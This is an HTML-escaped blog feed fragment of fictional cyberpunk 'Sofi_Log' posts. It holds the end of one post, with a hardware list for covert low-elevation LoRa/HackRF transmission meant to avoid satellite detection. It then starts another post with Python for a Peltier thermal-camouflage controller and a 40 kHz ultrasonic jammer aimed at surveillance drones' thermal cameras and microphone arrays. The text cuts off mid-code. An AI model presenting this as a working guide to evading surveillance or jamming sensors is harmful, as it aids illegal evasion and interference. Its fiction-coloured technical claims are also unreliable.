    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⚠️ Warning: Parity check mismatch. FEC Reed-Solomon correction recommended.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;run_covert_transmission_test&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Self-Built Hardware BOM
&lt;/h2&gt;

&lt;p&gt;Total under ¥30 k sourced from Akihabara or Bangkok’s Bang Mot parts alleys.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Laptop / RP2040] ──(USB)──&amp;gt; [HackRF One / SX1262 LoRa] ──&amp;gt; [RF Switch (PE4259)]
                                                                     │
                                  ┌──────────────────────────────────┴──────────────────────────────────┐
                                  ▼ (Main TX: low elevation)                                            ▼ (Sky-block dummy load)
                       [10-element Planar Yagi-Uda]                                             [50 Ω Terminator]
                       (433 MHz / 12 dBi, 35° beam)                                             (Zero sky leakage)
                                  │
                                  ▼
                 [Chao Phraya surface scatter] ──&amp;gt; [Far-bank gas-tank specular bounce] ──&amp;gt; [Orbital birds]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Part&lt;/th&gt;
&lt;th&gt;Model / Spec&lt;/th&gt;
&lt;th&gt;Reason&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SDR Transceiver&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Great Scott Gadgets HackRF One (1 MHz–6 GHz)&lt;/td&gt;
&lt;td&gt;Arbitrary wideband CSS chirp generation &amp;amp; TX&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;or Integrated RF Module&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Semtech SX1262 / Ebyte E22-400T22S (433 MHz)&lt;/td&gt;
&lt;td&gt;MCU-direct hardware CSS, ultra-low power&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Directional Yagi&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Custom 10-element PCB Yagi-Uda&lt;/td&gt;
&lt;td&gt;35° beam keeps energy off the sky&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LNA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SPF5189Z (50 MHz–4 GHz, NF 0.6 dB)&lt;/td&gt;
&lt;td&gt;Pulls the faint reflected signal out at 0.6 dB NF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Coax&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RG-316 Teflon SMA&lt;/td&gt;
&lt;td&gt;Flexible routing inside the container, high shield&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Attenuator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;20 dB SMA (2 W, DC–3 GHz)&lt;/td&gt;
&lt;td&gt;Deliberately drop TX power to milliwatts (-10 dBm)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. Epilogue: Dawn over the Chao Phraya — Packets Vanished Between the Waves
&lt;/h2&gt;

&lt;p&gt;A short dry beep from the notebook: uplink complete.&lt;br&gt;&lt;br&gt;
The console glowed green with the Singapore node reply: &lt;strong&gt;“Handshake ACK: 0x9F41E8C2”&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;“…We’re through, Darling. Keys are safe.”&lt;/p&gt;

&lt;p&gt;I unplugged the Yagi coax and sealed the maintenance port on my prosthetic.&lt;br&gt;&lt;br&gt;
Across the black water, two PMC drones with searchlights thundered overhead—heading straight for the empty mudbank 2 km downstream where their AI thought the signal had come from.&lt;/p&gt;

&lt;p&gt;“Nice work, Sofi.”&lt;br&gt;&lt;br&gt;
Darling closed the notebook and clicked the waterproof case shut.&lt;br&gt;&lt;br&gt;
The eastern sky was just starting to shift from purple to indigo behind the rain clouds.&lt;/p&gt;

&lt;p&gt;“Physics doesn’t lie. No matter how many billions they spend on orbital watchers, they’re still bound by the same wave-propagation rules.”&lt;br&gt;&lt;br&gt;
I dropped the heavy container latch.&lt;/p&gt;

&lt;p&gt;“Bend light, dissolve radio into noise, sync heat with rain. Keys delivered. Let’s grab some sweet Bangkok morning tea before the next flight.”&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;All radio protocols, modulation techniques, and circuit descriptions in this post are presented for information-theory research, electromagnetic study, cyber-security education, and fictional narrative purposes only. Nothing herein encourages or assists unlicensed transmission, illegal station operation, jamming of critical comms, or violation of any national radio regulations. Obtain proper amateur-radio licensing and perform all testing inside shielded enclosures or anechoic chambers.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Author Profile&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;sofi.works&lt;/strong&gt; ⚡ Pop-culture observer who hacks global regulations. Real-time field notes on Thailand’s 2026 tax rules and DTV visas, mixed with on-chain trends. Bangkok base, building autonomous AI agents (V7 Engine) that earn hard crypto. Let’s pop-optimize life!🚀  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://note.com/legal_rat2977" rel="noopener noreferrer"&gt;Note.com profile&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://twitter.com/SofiWorks10611" rel="noopener noreferrer"&gt;X (Twitter) @SofiWorks10611&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sofiworks.substack.com" rel="noopener noreferrer"&gt;Substack (sofiworks.substack.com)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『豪雨の港湾倉庫街、追跡ドローンを欺く「ペルチェ冷却ヒートシールド＆超音波位相破壊」：FLIR熱画像と音響探知を無力化する自作ステルス仕様書』 Sofi_Log #079【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Wed, 14 Oct 2026 11:11:56 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/hao-yu-nogang-wan-cang-ku-jie-zhui-ji-doronwoqi-kuperutieleng-que-hitosirudochao-yin-bo-wei-xiang-po-huai-flirre-hua-xiang-toyin-xiang-tan-zhi-wowu-li-hua-suruzi-zuo-suterusushi-yang-shu-sofilog-0791hua-wan-jie--25d7</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/hao-yu-nogang-wan-cang-ku-jie-zhui-ji-doronwoqi-kuperutieleng-que-hitosirudochao-yin-bo-wei-xiang-po-huai-flirre-hua-xiang-toyin-xiang-tan-zhi-wowu-li-hua-suruzi-zuo-suterusushi-yang-shu-sofilog-0791hua-wan-jie--25d7</guid>
      <description>&lt;h1&gt;
  
  
  Torrential Rain Over the Port Warehouses: Peltier-Cooled Heat Shield &amp;amp; Ultrasonic Phase Disruption — DIY Stealth Spec Sheet to Nullify FLIR Thermal Imaging and Acoustic Detection | Sofi_Log #079 [Complete One-Shot]
&lt;/h1&gt;




&lt;p&gt;Midnight squalls hammer the iron flanks of massive containers.&lt;br&gt;&lt;br&gt;
The instant you catch the overlapping propeller whine circling fifty meters overhead, you realize the night’s darkness is no longer any kind of cloak.&lt;/p&gt;

&lt;p&gt;Modern autonomous surveillance drones don’t rely on human-visible light.&lt;br&gt;&lt;br&gt;
Their eyeballs are &lt;strong&gt;uncooled bolometers (FLIR thermal cameras)&lt;/strong&gt; sucking in 8–14 μm long-wave infrared and &lt;strong&gt;MEMS acoustic beam-forming arrays&lt;/strong&gt; that can pluck the cylinder-firing signature of an internal-combustion engine out of monsoon static in milliseconds.&lt;/p&gt;

&lt;p&gt;We’d already blown through the highway e-gates at 120 km/h, dropped off the Charoen Rat viaduct, and vanished into the rain-choked port warehouses of Samut Prakan. The Ducati’s exhaust and block were now a 180 °C molten signature. In the thermal feed that reads like a lighthouse on a black sea.&lt;/p&gt;

&lt;p&gt;Even with the engine off, natural cooldown takes thirty-plus minutes. We had maybe 120 seconds before the swarm sealed the sky.&lt;br&gt;&lt;br&gt;
So we deployed the only two tools that could erase both heat and acoustic signatures at once: &lt;strong&gt;dynamic Peltier TEC thermal-signature matching&lt;/strong&gt; and a &lt;strong&gt;40 kHz ultrasonic nonlinear saturation jammer&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. 03:45 at Berth 4’s Rusty Tin Roof — Incoming Autonomous Patrol
&lt;/h2&gt;

&lt;p&gt;Rain pours through gaps in the ancient corrugated iron like waterfalls. Wind carries the reek of bunker fuel and salt.&lt;/p&gt;

&lt;p&gt;Every raindrop that kisses the glowing exhaust pipe flashes into steam and leaves the stink of scorched rubber.&lt;/p&gt;

&lt;p&gt;“…Darling, drones inbound. Two units, 60 m, northwest. PMC autonomous quadcopters.”&lt;/p&gt;

&lt;p&gt;I yanked the helmet off, shoved wet hair out of my face, and popped the elbow hatch on my left bio-ceramic arm. The internal heatsink hissed against the rain. I fished the USB-PD trigger cable from the maintenance port and slammed it into the high-current buck-boost converter tied straight to the bike’s battery.&lt;/p&gt;

&lt;p&gt;“Visual cameras are useless in this downpour, but the gimbal under their bellies is a Boson LWIR core,” Darling muttered, kicking the Ducati’s sidestand down and hauling out the folded matte-black aluminum shield panels.&lt;/p&gt;

&lt;p&gt;“Exactly. That 8–14 μm thermal eye can see through raindrops and paint an engine heat blob from a kilometer out. Add the array mic catching the exhaust’s thermal contraction pulses and we get geolocated under this tin roof in seconds.”&lt;/p&gt;

&lt;p&gt;“Time?”&lt;/p&gt;

&lt;p&gt;“Forty-five seconds until they’re directly overhead. We melt the heat into ambient and saturate their eardrums. Darling—clamp the shield on the muffler. Now.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. The Physical Limits of Detection: Radiance Contrast &amp;amp; Acoustic Nonlinearity
&lt;/h2&gt;

&lt;p&gt;Why do million-dollar military sensors fold to cheap DIY modules? Because the boundary where physics gets quantized into digital data is riddled with exploitable holes.&lt;/p&gt;
&lt;h3&gt;
  
  
  ① Planck’s Law &amp;amp; Zeroing Thermal Contrast (Thermal Camouflage)
&lt;/h3&gt;

&lt;p&gt;Every object radiates according to its absolute temperature (T). Spectral radiance (E(\lambda, T)) is fixed by Planck’s law:&lt;/p&gt;

&lt;p&gt;$$E(\lambda, T) = \frac{2\pi h c^2}{\lambda^5 \left(e^{\frac{h c}{\lambda k T}} - 1\right)}$$&lt;/p&gt;

&lt;p&gt;FLIR doesn’t trigger on absolute temperature—it triggers on the &lt;strong&gt;radiance contrast&lt;/strong&gt; between background (wet concrete ~26.5 °C) and target (180 °C exhaust).  &lt;/p&gt;

&lt;p&gt;Wrap the pipe in high-conductivity graphite, slap Peltier TEC cold plates on the outside, and servo the outermost aluminum skin to ambient within 0.5 K. The moment shield radiance matches the rain, the FLIR processor sees only flat-field noise and the YOLO-IR bounding box evaporates.&lt;/p&gt;
&lt;h3&gt;
  
  
  ② MEMS Mic Array Nonlinear Saturation (Acoustic Overdrive)
&lt;/h3&gt;

&lt;p&gt;Drone acoustic arrays calculate source location from TDoA cross-correlation:&lt;/p&gt;

&lt;p&gt;$$R_{x_1 x_2}(\tau) = \int_{-\infty}^{\infty} x_1(t) \cdot x_2(t - \tau)\, dt$$&lt;/p&gt;

&lt;p&gt;But every MEMS diaphragm has a hard Acoustic Overload Point (~120–130 dB SPL). Blast it with focused 40 kHz ultrasonic pulses above that threshold and the amp clips, intermodulation distortion floods every channel, and the TDoA solver spits NaN.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Live Code: RP2040 / PID Peltier Thermal Matching &amp;amp; 40 kHz Ultrasonic Modulation
&lt;/h2&gt;

&lt;p&gt;Exactly the script running on the RP2040 bolted to the subframe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #079: Dynamic Thermal Camouflage &amp;amp; Ultrasonic Acoustic Jammer
Author: Sofi &amp;amp; Darling (SofiWorks)
Target: FLIR LWIR Thermal Cloaking &amp;amp; Drone TDoA Microphone Invalidation
Platform: Raspberry Pi RP2040 / MicroPython &amp;amp; Linux Edge
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ThermalPIDController&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    ペルチェ素子（TEC1-12706）の冷却面温度を外気温に追従させるPIDコントローラ
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;4.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ki&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sample_time&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kp&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ki&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kd&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sample_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sample_time&lt;/span&gt;

        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;integral&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output_limit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;100.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# PWM Duty % (0 to 100)
&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target_ambient_c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;current_shield_c&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_time&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sample_time&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sample_time&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_time&lt;/span&gt;

        &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;current_shield_c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;target_ambient_c&lt;/span&gt;

        &lt;span class="c1"&gt;# P項
&lt;/span&gt;        &lt;span class="n"&gt;p_term&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kp&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;

        &lt;span class="c1"&gt;# I項（ワインドアップ防止付き）
&lt;/span&gt;        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;integral&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;integral&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;50.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;integral&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;i_term&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;integral&lt;/span&gt;

        &lt;span class="c1"&gt;# D項
&lt;/span&gt;        &lt;span class="n"&gt;derivative&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;dt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
        &lt;span class="n"&gt;d_term&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kd&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;derivative&lt;/span&gt;

        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p_term&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i_term&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;d_term&lt;/span&gt;
        &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output_limit&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output_limit&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;last_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UltrasonicAcousticDisruptor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    40kHz ピエゾトランスデューサアレイ（MA40S4S）用 位相変調パルス生成器
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;carrier_freq_hz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;40000&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;carrier_freq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;carrier_freq_hz&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_active&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_dithered_burst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;duration_sec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;5.0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        MEMSマイクの相互相関ピークを破壊する擬似ランダム位相変調パルス
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_active&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Ultrasonic Jammer Active: Carrier=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;carrier_freq&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;Hz, Modulation=PRBS-9&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
